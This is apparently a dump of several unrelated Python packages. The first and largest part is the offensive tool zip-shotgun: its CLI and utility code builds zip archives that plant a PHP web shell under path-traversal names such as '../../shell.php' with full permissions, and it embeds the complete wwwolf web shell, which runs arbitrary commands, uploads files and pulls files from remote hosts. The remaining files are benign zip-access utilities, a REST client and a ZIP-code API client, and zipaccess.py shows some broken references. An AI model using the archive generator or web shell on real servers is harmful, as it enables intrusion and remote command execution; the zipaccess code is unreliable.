gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL ``` 6. Provide custom shell file and set shell name to save inside archive. Set directories count to 3 and use compression ```zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip``` ```zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip``` Shell code will be extracted from user provided file. Names inside the archive will be set to user provided name. Part of the script output ``` 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip 12/Dec/2018 Wed 23:25:19 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Getting file extension from provided shell file for reuse: php 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php 12/Dec/2018 Wed 23:25:19 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: custom-name.php 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../custom-name.php 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../../custom-name.php 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL ```
zip-shotgun
/zip-shotgun-1.0.2.tar.gz/zip-shotgun-1.0.2/README.md
README.md
import logging from zipfile import ZipFile import click from zip_shotgun.zip_shotugn_utils.utils import get_random_shell_name, get_default_shell_code_and_extension, get_user_provided_shell_code_and_extension, \ save_file_to_zip_archive CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help']) APP_NAME = 'ZIP Shotgun' VERSION = '1.0.2' HELP_MSG_DIRECTORIES_COUNT = 'Count of how many directories to go back inside the zip file (e.g 3 means that 3 files will be added to the zip: ' \ 'shell.php, ../shell.php and ../../shell.php where shell.php is the name of the shell you provided or randomly generated value' HELP_MSG_SHELL_NAME = 'Name of the shell inside the generated zip file (e.g shell). If not provided it will be randomly generated. Cannot have whitespaces' HELP_MSG_SHELL_FILE_PATH = 'A file that contains code for the shell. If this option is not provided ' \ 'wwwolf (https://github.com/WhiteWinterWolf/wwwolf-php-webshell) php shell will be added instead. ' \ 'If name is provided it will be added to the zip with the provided name or if not provided the name will be randomly generated.' HELP_MSG_COMPRESS = 'Enable compression. If this flag is set archive will be compressed using DEFALTE algorithm with compression level of 9. ' \ 'By default there is no compression applied.' RANDOM_SHELL_NAME_LENGTH = 16 LOGGING_FORMAT = '%(asctime)s | %(levelname)8s | %(message)s' LOGGING_TIME_AND_DATE_FORMAT = '%d/%b/%Y %a %H:%M:%S %z' logging.basicConfig(level=logging.INFO, format=LOGGING_FORMAT, datefmt=LOGGING_TIME_AND_DATE_FORMAT) @click.command(context_settings=CONTEXT_SETTINGS) @click.version_option(version=VERSION, prog_name=APP_NAME) @click.argument('output_zip_file', type=click.Path(writable=True, resolve_path=True)) @click.option('-c', '--directories-count', show_default=True, default=16, required=False, type=int, help=HELP_MSG_DIRECTORIES_COUNT) @click.option('-n', '--shell-name', show_default=False, default=None, required=False, type=str, help=HELP_MSG_SHELL_NAME) @click.option('-f', '--shell-file-path', show_default=False, default=None, required=False, type=click.Path(exists=True, resolve_path=True), help=HELP_MSG_SHELL_FILE_PATH) @click.option('--compress', is_flag=True, help=HELP_MSG_COMPRESS) def zip_shotgun_cli(output_zip_file, directories_count, shell_name, shell_file_path, compress): logging.info(f'Opening output zip file: {output_zip_file}') with ZipFile(output_zip_file, 'w') as output_zip: if shell_name is None: # Shell name was not provided. Generate random name shell_name = get_random_shell_name(RANDOM_SHELL_NAME_LENGTH) if shell_file_path is None: # Shell file was not provided. Using default shell code and extension shell_code, file_extension = get_default_shell_code_and_extension() else: # Get user provided shell code and extract file extension from user file shell_code, file_extension = get_user_provided_shell_code_and_extension(shell_file_path) if compress: logging.info('--compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9') else: logging.info('--compress flag was NOT set. Archive will be uncompressed. Files will be only stored.') for i in range(directories_count): base_directory = '../' * i # if iteration is 0 it will return empty string file_name_in_archive = f'{base_directory}{shell_name}.{file_extension}' save_file_to_zip_archive(output_zip, file_name_in_archive, shell_code, compress) logging.info(f'Finished. Try to access shell using {shell_name}.{file_extension} in the URL') if __name__ == '__main__': zip_shotgun_cli()
zip-shotgun
/zip-shotgun-1.0.2.tar.gz/zip-shotgun-1.0.2/zip_shotgun/zip_shotgun_main.py
zip_shotgun_main.py
def get_wwwolf_php_webshell_code(): return ''' #<?php /******************************************************************************* * Copyright 2017 WhiteWinterWolf * https://www.whitewinterwolf.com/tags/php-webshell/ * * This file is part of wwolf-php-webshell. * * wwwolf-php-webshell is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. ******************************************************************************/ /* * Optional password settings. * Use the 'passhash.sh' script to generate the hash. * NOTE: the prompt value is tied to the hash! */ $passprompt = "WhiteWinterWolf's PHP webshell: "; $passhash = ""; function e($s) { echo htmlspecialchars($s, ENT_QUOTES); } function h($s) { global $passprompt; if (function_exists('hash_hmac')) { return hash_hmac('sha256', $s, $passprompt); } else { return bin2hex(mhash(MHASH_SHA256, $s, $passprompt)); } } function fetch_fopen($host, $port, $src, $dst) { global $err, $ok; $ret = ''; if (strpos($host, '://') === false) { $host = 'http://' . $host; } else { $host = str_replace(array('ssl://', 'tls://'), 'https://', $host); } $rh = fopen("${host}:${port}${src}", 'rb'); if ($rh !== false) { $wh = fopen($dst, 'wb'); if ($wh !== false) { $cbytes = 0; while (! feof($rh)) { $cbytes += fwrite($wh, fread($rh, 1024)); } fclose($wh); $ret .= "${ok} Fetched file <i>${dst}</i> (${cbytes} bytes)<br />"; } else { $ret .= "${err} Failed to open file <i>${dst}</i><br />"; } fclose($rh); } else { $ret = "${err} Failed to open URL <i>${host}:${port}${src}</i><br />"; } return $ret; } function fetch_sock($host, $port, $src, $dst) { global $err, $ok; $ret = ''; $host = str_replace('https://', 'tls://', $host); $s = fsockopen($host, $port); if ($s) { $f = fopen($dst, 'wb'); if ($f) { $buf = ''; $r = array($s); $w = NULL; $e = NULL; fwrite($s, "GET ${src} HTTP/1.0\r\n\r\n"); while (stream_select($r, $w, $e, 5) && !feof($s)) { $buf .= fread($s, 1024); } $buf = substr($buf, strpos($buf, "\r\n\r\n") + 4); fwrite($f, $buf); fclose($f); $ret .= "${ok} Fetched file <i>${dst}</i> (" . strlen($buf) . " bytes)<br />"; } else { $ret .= "${err} Failed to open file <i>${dst}</i><br />"; } fclose($s); } else { $ret .= "${err} Failed to connect to <i>${host}:${port}</i><br />"; } return $ret; } ini_set('log_errors', '0'); ini_set('display_errors', '1'); error_reporting(E_ALL); while (@ ob_end_clean()); if (! isset($_SERVER)) { global $HTTP_POST_FILES, $HTTP_POST_VARS, $HTTP_SERVER_VARS; $_FILES = &$HTTP_POST_FILES; $_POST = &$HTTP_POST_VARS; $_SERVER = &$HTTP_SERVER_VARS; } $auth = ''; $cmd = empty($_POST['cmd']) ? '' : $_POST['cmd']; $cwd = empty($_POST['cwd']) ? getcwd() : $_POST['cwd']; $fetch_func = 'fetch_fopen'; $fetch_host = empty($_POST['fetch_host']) ? $_SERVER['REMOTE_ADDR'] : $_POST['fetch_host']; $fetch_path = empty($_POST['fetch_path']) ? '' : $_POST['fetch_path']; $fetch_port = empty($_POST['fetch_port']) ? '80' : $_POST['fetch_port']; $pass = empty($_POST['pass']) ? '' : $_POST['pass']; $url = $_SERVER['REQUEST_URI']; $status = ''; $ok = '&#9786; :'; $warn = '&#9888; :'; $err = '&#9785; :'; if (! empty($passhash)) { if (function_exists('hash_hmac') || function_exists('mhash')) { $auth = empty($_POST['auth']) ? h($pass) : $_POST['auth']; if (h($auth) !== $passhash) { ?> <form method="post" action="<?php e($url); ?>"> <?php e($passprompt); ?> <input type="password" size="15" name="pass"> <input type="submit" value="Send"> </form> <?php exit; } } else { $status .= "${warn} Authentication disabled ('mhash()' missing).<br />"; } } if (! ini_get('allow_url_fopen')) { ini_set('allow_url_fopen', '1'); if (! ini_get('allow_url_fopen')) { if (function_exists('stream_select')) { $fetch_func = 'fetch_sock'; } else { $fetch_func = ''; $status .= "${warn} File fetching disabled ('allow_url_fopen'" . " disabled and 'stream_select()' missing).<br />"; } } } if (! ini_get('file_uploads')) { ini_set('file_uploads', '1'); if (! ini_get('file_uploads')) { $status .= "${warn} File uploads disabled.<br />"; } } if (ini_get('open_basedir') && ! ini_set('open_basedir', '')) { $status .= "${warn} open_basedir = " . ini_get('open_basedir') . "<br />"; } if (! chdir($cwd)) { $cwd = getcwd(); } if (! empty($fetch_func) && ! empty($fetch_path)) { $dst = $cwd . DIRECTORY_SEPARATOR . basename($fetch_path); $status .= $fetch_func($fetch_host, $fetch_port, $fetch_path, $dst); } if (ini_get('file_uploads') && ! empty($_FILES['upload'])) { $dest = $cwd . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']); if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { $status .= "${ok} Uploaded file <i>${dest}</i> (" . $_FILES['upload']['size'] . " bytes)<br />"; } } ?> <form method="post" action="<?php e($url); ?>" <?php if (ini_get('file_uploads')): ?> enctype="multipart/form-data" <?php endif; ?> > <?php if (! empty($passhash)): ?> <input type="hidden" name="auth" value="<?php e($auth); ?>"> <?php endif; ?> <table border="0"> <?php if (! empty($fetch_func)): ?> <tr><td> <b>Fetch:</b> </td><td> host: <input type="text" size="15" id="fetch_host" name="fetch_host" value="<?php e($fetch_host); ?>"> port: <input type="text" size="4" id="fetch_port" name="fetch_port" value="<?php e($fetch_port); ?>"> path: <input type="text" size="40" id="fetch_path" name="fetch_path" value=""> </td></tr> <?php endif; ?> <tr><td> <b>CWD:</b> </td><td> <input type="text" size="50" id="cwd" name="cwd" value="<?php e($cwd); ?>"> <?php if (ini_get('file_uploads')): ?> <b>Upload:</b> <input type="file" id="upload" name="upload"> <?php endif; ?> </td></tr> <tr><td> <b>Cmd:</b> </td><td> <input type="text" size="80" id="cmd" name="cmd" value="<?php e($cmd); ?>"> </td></tr> <tr><td> </td><td> <sup><a href="#" onclick="cmd.value=''; cmd.focus(); return false;">Clear cmd</a></sup> </td></tr> <tr><td colspan="2" style="text-align: center;"> <input type="submit" value="Execute" style="text-align: right;"> </td></tr> </table> </form> <hr /> <?php if (! empty($status)) { echo "<p>${status}</p>"; } echo "<pre>"; if (! empty($cmd)) { echo "<b>"; e($cmd); echo "</b>\n"; if (DIRECTORY_SEPARATOR == '/') { $p = popen('exec 2>&1; ' . $cmd, 'r'); } else { $p = popen('cmd /C "' . $cmd . '" 2>&1', 'r'); } while (! feof($p)) { echo htmlspecialchars(fread($p, 4096), ENT_QUOTES); @ flush(); } } echo "</pre>"; exit; ?> '''
zip-shotgun
/zip-shotgun-1.0.2.tar.gz/zip-shotgun-1.0.2/zip_shotgun/shells/wwwolf_php_webshell.py
wwwolf_php_webshell.py
import logging import pathlib import string from random import SystemRandom from typing import Tuple from zipfile import ZipFile, ZIP_DEFLATED, ZipInfo from typeguard import typechecked from zip_shotgun.shells.wwwolf_php_webshell import get_wwwolf_php_webshell_code @typechecked(always=True) def get_random_shell_name(name_length: int) -> str: # Generate random name using ASCII letters and digits random_shell_name = ''.join(SystemRandom().choices(string.ascii_letters + string.digits, k=name_length)) logging.warning(f'Shell name was not provided. Generated random shell name: {random_shell_name}') return random_shell_name @typechecked(always=True) def get_default_shell_code_and_extension() -> Tuple[str, str]: logging.warning('Shell file was not provided. Using default wwwolf\'s webshell code') default_shell_code = get_wwwolf_php_webshell_code() # Use default file extension for wwwolf's webshell default_file_extension = 'php' logging.info(f'Using default file extension for wwwolf\'s webshell: {default_file_extension}') return default_shell_code, default_file_extension @typechecked(always=True) def get_user_provided_shell_code_and_extension(provided_shell_file_path: str) -> Tuple[str, str]: logging.info(f'File containing shell code was provided: {provided_shell_file_path}. Content will be added to archive') # Get file extension from user provided shell file user_provided_file_extension = pathlib.Path(provided_shell_file_path).suffix stripped_user_provided_file_extension = user_provided_file_extension.lstrip('.') # Delete "." character from extension. It will be added later logging.info(f'Getting file extension from provided shell file for reuse: {stripped_user_provided_file_extension}') logging.info(f'Opening provided file with shell code: {provided_shell_file_path}') with open(provided_shell_file_path) as provided_shell_file: user_provided_shell_code = provided_shell_file.read() return user_provided_shell_code, stripped_user_provided_file_extension @typechecked(always=True) def save_file_to_zip_archive(output_zip_file: ZipFile, file_name_with_extension: str, shell_code_to_write: str, use_compression: bool) -> None: logging.info(f'Writing file to the archive: {file_name_with_extension}') logging.info(f'Setting full read/write/execute permissions (chmod 777) for file: {file_name_with_extension}') zip_info = ZipInfo(file_name_with_extension) zip_info.external_attr = 0o777 << 16 # Set permissions - chmod 777 if use_compression: output_zip_file.writestr(zip_info, shell_code_to_write, ZIP_DEFLATED, 9) else: # If --compress flag was not provided only store the files in the archive. output_zip_file.writestr(zip_info, shell_code_to_write)
zip-shotgun
/zip-shotgun-1.0.2.tar.gz/zip-shotgun-1.0.2/zip_shotgun/zip_shotugn_utils/utils.py
utils.py
`zip_open` open file from nested zip file archive. If you use static file like as 'data.zip' and open this from your python code, Your program will become like ``open(os.path.join(os.path.dirname(__file__), 'data.zip'))``. But if your packages are packed into packages.zip file (zipped-egg, or cases to gather in one file on Google App Engine matter), your code doesn't work fine. In this situation, the file path of data.zip becomes `/path/to/packages.zip/data.zip`, then your program can't open the data.zip file. `zip_open` package solves this problem. Features -------- * Open file from nested zip archive file path/name. * Open file from nested zip archive file-like-object. Using sample1: open the file from zip file ------------------------------------------ packages1.zip is:: packages1.zip + file1.txt Open file1.txt:: >>> from zip_open import zopen >>> fobj = zopen('packages1.zip/file1.txt') >>> data = fobj.read() >>> print data I am file1.txt, ok. You can specifiy zopen subpath args: >>> fobj = zopen('packages1.zip', 'file1.txt') >>> print fobj.read() I am file1.txt, ok. These code samples equivalent to below code:: >>> from zipfile import ZipFile >>> zipobj = ZipFile('packages1.zip') >>> data = zipobj.read('file1.txt') >>> print data I am file1.txt, ok. Using sample2: open the file from nested zip file ------------------------------------------------- packages2.zip is:: packages2.zip + data2.zip + file2.txt Open file2.txt:: >>> from zip_open import zopen >>> fobj = zopen('packages2.zip/data2.zip/file2.txt') >>> print fobj.read() I am file2.txt, ok. If you want to open from file-like-object, you can call:: >>> zip_fileobj = open('packages2.zip') >>> fobj = zopen(zip_fileobj, 'data2.zip/file2.txt') >>> print fobj.read() I am file2.txt, ok. then you also call:: >>> from StringIO import StringIO >>> zip_payload = open('packages2.zip').read() >>> zip_fileobj = StringIO(zip_payload) >>> fobj = zopen(zip_fileobj, 'data2.zip/file2.txt') >>> print fobj.read() I am file2.txt, ok. Using sample3: open the file included in package oneself -------------------------------------------------------- packages3.zip is:: packages3.zip + foo.py + file1.txt + data3.zip + file3.txt foo.py:: import os from zip_open import zopen def loader(filename): fobj = zopen(os.path.join(os.path.dirname(__file__), filename)) return fobj execute loader() from interactive shell:: >>> import sys >>> sys.path.insert(0, 'packages3.zip') >>> import foo >>> fobj = foo.loader('file1.txt') >>> print fobj.read() I am file1.txt, ok. >>> fobj = foo.loader('data3.zip/file3.txt') >>> print fobj.read() I am file3.txt, ok. Requirements and dependencies ------------------------------ * Requirement: Python 2.4 or later * Dependency: Nothing. ToDo ----- * Add tar.gz file support. * Add using sample document for egg archive. * Add module import feature. History ------- 0.2.0 (2011-11-29) ~~~~~~~~~~~~~~~~~~ * Change license from PSL to Apache License 2.0 * Add feature: open from file-like-object. 0.1.0 (2010-7-19) ~~~~~~~~~~~~~~~~~~ * first release
zip_open
/zip_open-0.2.0.tar.gz/zip_open-0.2.0/README.txt
README.txt
zipa [![Build Status](https://api.travis-ci.org/PressLabs/zipa.svg)](https://travis-ci.org/PressLabs/zipa) ==== magic pythonic REST clients ([docs](http://zipa.readthedocs.org/)). ### Instalation ``` pip install zipa ``` ### Examples ``` >>> from zipa import api_github_com as gh >>> for repo in gh.users['tpope'].repos: ... print(repo.name) ``` Under the hood `zipa` transforms your imports into clients. It follows a simple convention: `HOSTNAME__PREFIX`. For the hostname, single underscores are translated into dots and for the prefix into slashes. For example: `api_twitter_com__v1` becomes `https://api.twitter.com/v1`. The prefix part is optional.
zipa
/zipa-0.3.6.tar.gz/zipa-0.3.6/README.md
README.md
__docformat__ = 'restructuredtext en' __version__ = '0.1rc1' __all__ = 'ZipAccess add enable hasfile getfile file open'.split() import sys import os import logging from os.path import basename, isabs, abspath, realpath, join, sep, isfile, exists _ = realpath(basename(__file__)) if _ != abspath(_): realpath = lambda x: abspath(realpath(x)) # On some outdated Unixes, realpath() might not return an absolute path. _exists = exists _isfile = isfile _open = open _file = file def exists(path): return exists._zipaccess.hasfile(path) and True or exists._exists(path) def isfile(path): return isfile._zipaccess.hasfile(path) and True or isfile._isfile(path) def open(name, mode='r', buffering=-1, **options): return ( open._zipaccess.getfile(name, mode, buffering, **options) or open._open(name, mode, buffering, **options) ) # def file(name, mode='r', buffering=-1, **options): # return ( # file._zipaccess.getfile(name, mode, buffering, **options) or # file._file(name, mode, buffering, **options) # ) class file(file): def __init__(self, name, mode='r', buffering=-1, **options): self.__target__ = ( file._zipaccess.getfile(name, mode, buffering, **options) or file._file(name, mode, buffering, **options) ) def __getattribute__(self, name): if name == '__target__': return object.__getattribute__(self, name) else: return getattr(object.__getattribute__(self, '__target__'), name) exists._exists = _exists isfile._isfile = _isfile open._open = _open file._file = _file class ZipAccess(object): """Access files inside zip archives using standard file functions. """ log = logging # Logger object. Disabled if False. Defaults to logging module. zipsep = '/' # Zip files always use '/', independently on OS path sep. zipmodes = dict( # Maps file modes to ZipFile.open modes. r = 'rU', rb = 'r', ) any_zip = False # Allow access to any zip files. register = False # Register this class as os.zipaccess. zips = {} # Dictionary of zip files with access enabled: # Key: zip file name # Value: True (enabled), False (failed), ZipFile file = file # Patched functions or classes. exists, isfile, open = map(staticmethod, ( exists, isfile, open)) zipfile = None # ZipFile class. Import lazily. def __init__(self): """Use as a class. Do not instantiate it. """ raise RuntimeError('%s: %s' % ( self.__class__.__name__, self.__init__.__doc__)) @classmethod def enable(cls, for_modules=True, any_zip=None, register=None): """Enables access to files inside zip archives using standard file functions. Patches functions [for_modules]:file+open, and os.path:exists+isfile. For_modules is expected to be True (enable globally), or False (do not enable), or module object/name/list to import and enable zip access from. If any_zip is True, then access to all zip files is enabled. If it's False (default), then zip files have to be added via addzip(). If register is True, then the class is registered as os.zipaccess, so other modules can easily use:: try: os.zipaccess.enable(locals()) except AttributeError: pass """ if any_zip is not None: cls.any_zip = any_zip if register is not None: cls.register = register if modules: cls._patch(cls.file, modules, 'file', _zipaccess=cls) cls._patch(cls.open, modules, 'open', _zipaccess=cls) cls._patch(cls.exists, os.path, 'exists', _zipaccess=cls) cls._patch(cls.isfile, os.path, 'isfile', _zipaccess=cls) if cls.register: cls._patch(cls, os, 'zipaccess') @classmethod def _patch(cls, *args, **argd): """Placeholder to import patch lazily.""" import monkeypatch cls._patch = staticmethod(monkeypatch.patch) return monkeypatch.patch(*args, **argd) @classmethod def addzip(cls, path): """Adds path to set of zip files with access enabled. """ if not path.lower().endswith('.zip'): raise ValueError('path is expected to have a .zip extension: %s' % path) path = realpath(path) if cls.zips.get(path, None): cls.log.info('zip access enable: %s' % path) cls.zips[path] = True @classmethod def delzip(cls, path): """Removes path from set of zip files with access enabled. """ del cls.zips[path] @classmethod def hasfile(cls, path): """Returns (ZipFile, inner file name) if file is in a zip file, or False if it isn't. """ path = realpath(path) pos = path.lower().find('.zip%s' % sep) if pos == -1: return False zip_name, name = path[:pos+4], path[pos+5:] zip_file = cls.zips.get(zip_name, None) if zip_file is None and cls.all and _isfile(zip_name): zip_file = True if not zip_file or not name: cls.log.warning('zip access fail: %s: %s' % ( zip_name, name or 'no file name specified')) return False elif zip_file is True: cls.log.info('zip access init: %s' % zip_name) # Import lazily. zipfile = cls.zipfile is None and setattr(cls, 'zipfile', __import__('zipfile')) or cls.zipfile try: cls.zips[zip_name] = zip_file = zipfile.ZipFile(zip_name) except (IOError, zipfile.BadZipFile): cls.zips[zip_name] = False cls.log.exception('zip access fail: %s' % zip_name) return False if sep != cls.zipsep: name = name.replace(sep, cls.zipsep) if name in zip_file.NameToInfo: # cls.log.debug('zip access test: %s: %s' % (zip_name, name)) return zip_file, name else: cls.log.warning('zip access miss: %s: %s' % (zip_name, name)) return False @classmethod def getfile(cls, name, mode='r', buffering=-1, **options): """Returns file-like object if file is in a zip file, or False if it isn't. Uses ZipFile.open() if available (Python 2.6 and newer). """ zip_file = cls.hasfile(name) if zip_file is False: return False zip_file, name = zip_file if mode not in ('r', 'rb'): cls.log.error("zip access fail: %s: %s: requires mode 'r' or 'rb', not %r" % ( zip_file.filename, name, mode)) return False cls.log.debug('zip access open: %s: %s' % (zip_file.filename, name)) try: # Use ZipFile.open() if available (Python 2.6 and newer). return zip_file.open(name, cls.zipmodes[mode], **options) except AttributeError: # Poor man workaround if ZipFile.open() is missing (Python 2.5 and older). # Initialize lazily. try: StringInput = cls.StringInput except AttributeError: from StringIO import StringIO class StringInput(StringIO): """Read only StringIO""" def __init__(self, buf='', mode='r', name=None): self.name = name or self.__class__.__name__ if mode == 'r' and '\r' in buf: buf = buf.replace('\r\n', '\n') StringIO.__init__(self, buf) def write(self, *args, **argd): raise IOError('file is not writable: %s' % self.name) truncate = writelines = write cls.StringInput = StringInput return StringInput(zip_file.read(name), mode, name) except: cls.log.exception('zip access fail: %s: %s' % (zip_name, name)) return False [ setattr(func, '_zipaccess', ZipAccess) for func in (exists, isfile, open, file) ] enable = ZipAccess.enable addzip = ZipAccess.addzip delzip = ZipAccess.delzip hasfile = ZipAccess.hasfile getfile = ZipAccess.getfile if __name__ == '__main__': import doctest doctest.testmod()
zipaccess
/zipaccess-0.1rc1.zip/zipaccess-0.1rc1/zipaccess.py
zipaccess.py
import requests from requests.auth import HTTPBasicAuth import json from enum import Enum class DistanceUnit(Enum): miles = 'mi' kilometers = 'km' class ZipAPI: def __init__(self, apikey="", username="", password=""): self.apikey = apikey self.auth = HTTPBasicAuth( username=username, password=password ) def get_zip_info(self, zipcode): zipcode_json = requests.get( 'https://service.zipapi.us/zipcode/' + str(zipcode), params={ 'X-API-KEY': self.apikey, 'fields': 'geolocation,population' }, auth=self.auth ).content.decode() zipcode_json = json.loads(zipcode_json)['data'] return ZipCode( zipcode=zipcode, city=zipcode_json['city'], state=zipcode_json['state'], lat=zipcode_json['latitude'], long=zipcode_json['longitude'], population=zipcode_json['population'] ) def get_zips_for_city_and_state(self, city, state): zips_json = requests.get( 'https://service.zipapi.us/zipcode/zips/', params={ 'X-API-KEY': self.apikey, 'city': city, 'state': state }, auth=self.auth ).content.decode() zips_json = json.loads(zips_json) return zips_json['data'] def get_distance(self, zip1, zip2, distanceUnit=DistanceUnit.miles): distanceUnit = distanceUnit.value zips_json = requests.get( 'https://service.zipapi.us/zipcode/distance', params={ 'X-API-KEY': self.apikey, 'zip1': str(zip1), 'zip2': str(zip2), 'unit': distanceUnit }, auth=self.auth ).content.decode() zips_json = json.loads(zips_json)['data'] return zips_json['distance'] def get_zip_codes_from_radius(self, zipcode, radius): zips = [] zips_json = requests.get( 'https://service.zipapi.us/zipcode/radius/' + str(zipcode), params={ 'X-API-KEY': self.apikey, 'radius': str(radius) }, auth=self.auth ).content.decode() zips_json = json.loads(zips_json)['data'] for zipData in zips_json: zips.append( ZipCodeFromRadius( zipcode=zipData['ZipCode'], distance=zipData['distance'] ) ) return zips def get_population_data_for_zip(self, zip): population_json = requests.get( 'https://service.zipapi.us/population/zipcode/' + str(zip), params={ 'X-API-KEY': self.apikey, 'fields': 'male_population,female_population' }, auth=self.auth ).content.decode() population_json = json.loads(population_json)['data'] return Population( population=population_json['population'], male_population=population_json['male_population'], female_population=population_json['female_population'] ) def get_average_age_for_zip(self, zip): age_json = requests.get( 'https://service.zipapi.us/age/zipcode/' + str(zip), params={ 'X-API-KEY': self.apikey, 'fields': 'male_age,female_age' }, auth=self.auth ).content.decode() age_json = json.loads(age_json)['data'] return Age( median_age=age_json['median_age'], male_age=age_json['male_age'], female_age=age_json['female_age'] ) class Age: def __init__(self, median_age, male_age, female_age): self.median_age = median_age self.male_age = male_age self.female_age = female_age class Population: def __init__(self, population, male_population, female_population): self.population = population self.male_population = male_population self.female_population = female_population class ZipCodeFromRadius: def __init__(self, zipcode, distance): self.zipcode = zipcode self.distance = distance class ZipCode: def __init__(self, zipcode, city, state, lat, long, population): self.zipcode = zipcode self.city = city self.state = state self.lat = lat self.long = long self.population = population def get_full_state_name(self): return { 'AK': 'Alaska', 'AL': 'Alabama', 'AR': 'Arkansas', 'AS': 'American Samoa', 'AZ': 'Arizona', 'CA': 'California', 'CO': 'Colorado', 'CT': 'Connecticut', 'DC': 'District of Columbia', 'DE': 'Delaware', 'FL': 'Florida', 'GA': 'Georgia', 'GU': 'Guam', 'HI': 'Hawaii', 'IA': 'Iowa', 'ID': 'Idaho', 'IL': 'Illinois', 'IN': 'Indiana', 'KS': 'Kansas', 'KY': 'Kentucky', 'LA': 'Louisiana', 'MA': 'Massachusetts', 'MD': 'Maryland', 'ME': 'Maine', 'MI': 'Michigan', 'MN': 'Minnesota', 'MO': 'Missouri', 'MP': 'Northern Mariana Islands', 'MS': 'Mississippi', 'MT': 'Montana', 'NA': 'National', 'NC': 'North Carolina', 'ND': 'North Dakota', 'NE': 'Nebraska', 'NH': 'New Hampshire', 'NJ': 'New Jersey', 'NM': 'New Mexico', 'NV': 'Nevada', 'NY': 'New York', 'OH': 'Ohio', 'OK': 'Oklahoma', 'OR': 'Oregon', 'PA': 'Pennsylvania', 'PR': 'Puerto Rico', 'RI': 'Rhode Island', 'SC': 'South Carolina', 'SD': 'South Dakota', 'TN': 'Tennessee', 'TX': 'Texas', 'UT': 'Utah', 'VA': 'Virginia', 'VI': 'Virgin Islands', 'VT': 'Vermont', 'WA': 'Washington', 'WI': 'Wisconsin', 'WV': 'West Virginia', 'WY': 'Wyoming' }.get(self.state, None)
zipapi.us
/zipapi.us-1.0.4.tar.gz/zipapi.us-1.0.4/zipapi/__init__.py
__init__.py